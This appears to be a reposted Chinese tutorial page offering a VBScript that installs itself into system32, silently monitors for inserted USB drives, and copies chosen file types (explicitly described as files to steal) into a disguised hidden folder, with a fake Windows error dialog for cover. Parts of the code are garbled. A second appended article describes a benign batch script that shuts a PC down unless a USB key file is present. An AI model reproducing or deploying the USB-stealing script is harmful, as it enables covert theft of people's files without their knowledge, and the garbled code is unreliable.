用vbs脚本实现当有U盘插入时自动拷贝u盘内容到D盘123文件下要求自启动_百度知道自动复制U盘文件的VBS脚本
字体：[ ] 类型：转载 时间：
运行该脚本后，文件会先拷贝到system32目录中然后运行，监控移动存储设备的插入，如果有U盘插入，会将你感兴趣的文件拷贝到电脑相应目录中。
以下为演示： 一、设置 右键单击，选择编辑 oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加，用“|”隔开 oDistPath = "C:\\windows\\system\\" '保存路径 oFolderName = "Task" '保存文件夹名称 oType = 0 '将保存的文件夹进行伪装 1为task文件夹，2为recycler文件夹，0为不伪装 oOut = 1 '1复制完毕后退出,0复制完毕后不退出，继续循环 二、保存后运行会出现安装成功对话框，如果不希望出现该对话框，可以将“Msgbox "安装成功"”注释掉。此时脚本已经在循环监测U盘的插入三、插入U盘U盘插入后，就开始文件的复制。复制完成后会出现提示对话框。如果不希望出现该对话框，可以将 “Msgbox "Windows 错误",64”注释掉四、寻找文件此时，文件已经在目标文件夹中。我将oType 设置为1，所以该文件夹成了task文件夹，此时双击打开是看不到其中的文件的。这种情况可以通过rar压缩包浏览，将其中的desktop.ini文件删除，文件夹就会变成普通文件夹。&ww这时就能打开文件夹看到其中的内容。
Copy.log记录的是原文件及复制后的文件。vbs代码 代码如下:oStr = "txt|jpg|doc" '文件类型，添加文件类型用“|”隔开 oDistPath = "C:\\windows\\system\\" '保存路径 oFolderName = "Task" '保存文件夹名称 oType = 1 '1为task文件夹，2为recycler文件夹，0为不隐藏 oOut = 1 '1复制完毕后退出,0复制完毕后不退出，继续循环 'By:白开 QQ: Set fso=CreateObject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32 '文件夹不存在则创建 If (not fso.FolderExists(oDistPath & oFolderName)) Then fso.CreateFolder(oDistPath & oFolderName) End If '创建记录文件 Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) '循环监测移动存储设备插入 Do For Each oDriver In fso.Drives If oDriver.DriveType=1 And oDriver&&"A:" And oDriver&&"B:" Then TreeIt(oDriver) Msgbox "Windows 错误",64 If(oOut=1) then Exit Do End if End If Next WScript.Sleep 15000 Loop Mylog.Close '隐藏文件夹 oHideFolder oDistPath,oFolderName,oType else '如果是其它目录，先安装 fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs" Msgbox "安装成功" end if Set fso=nothing Set wshell=nothing '遍历目录函数 Function TreeIt(sPath) Set oFolder = fso.GetFolder(sPath) Set oSubFolders = oFolder.Subfolders Set oFiles = oFolder.Files For Each oFile In oFiles oCopyFile oFile.Path,oDistPath,oFolderName Next For Each oSubFolder In oSubFolders TreeIt(oSubFolder.Path) Next Set oFolder = Nothing Set oSubFolders = Nothing End Function '复制文件函数 Function oCopyFile(FileName,oDistPath,oFolderName) Ext = fso.GetExtensionName(FileName) If(instr(oStr,lcase(Ext))) then Randomize tempname=Ext&int((Rnd*)+1)&"."&Ext fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true Mylog.writeline FileName Mylog.writeline tempname End If End Function '隐藏文件夹函数 Sub oHideFolder(oDistPath,oFolderName,oType) Select Case oType case 1 Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) inf.writeline("[.ShellClassInfo]") inf.writeline("CLSID={dc6a-11cf-8d87-00aa0060f5bf}") case 2 Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) inf.writeline("[.ShellClassInfo]") inf.writeline("CLSID={645FF040-F08-00AA002F954E}") case 0 Exit sub End Select Set inf=nothing Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) SysoFolder.attributes=4 Set SysoFolder=nothing End sub 'By:白开 QQ:
您可能感兴趣的文章:
大家感兴趣的内容
12345678910
最近更新的内容
常用在线小工具让电脑只有插上自己的U盘才能启动实现方法
作者：佚名
字体：[ ] 来源：互联网 时间：04-18 08:53:03
如何让电脑只有插上自己的U盘才能启动，不可思议吧，接下来与大家分享下具体的操作方法，感兴趣的各位可以参考下哈，希望对你有所帮助
　　首先，在电脑上插上你的u盘，确认好u盘的盘符。我的是G盘，如图。
　　其次，打开显示文件的扩展名。
　　步骤依次为：我的电脑--工具--文件夹选项--查看--去掉&隐藏已知文件类型的扩展名&的&。如图所示
　　在系统盘以外的地方(我的是c盘)新建一个&开机.bat&文件。
　　复制代码进去：&if not exist I:\eckert.lj shutdown -s -t 5 -c &
　　意思为：如果没有u盘你无权使用该计算机。
　　其中(I:\eckert.lj I 为U盘盘符， 我的为G盘)
　　依次操作：
　　开始--运行--gpedit.msc--计算机配置--windows设置--脚本启动关机--启动--添加。
　　如图所示
　　这样，就已经全部设置完毕。
　　下次开机。 如果你的U盘不在电脑上，那么计算机就会在启动 5 秒后自动关机。
　　注意事项
　　若启动U盘丢失，开机直接进入安全模式，删除策略组里面的&开机.bat&即可。
　　文字，图片原创，本人亲测后分享，转载请注明!如果你觉得本篇经验对你有帮助，请关注下作者，谢谢!
大家感兴趣的内容
12345678910
最近更新的内容}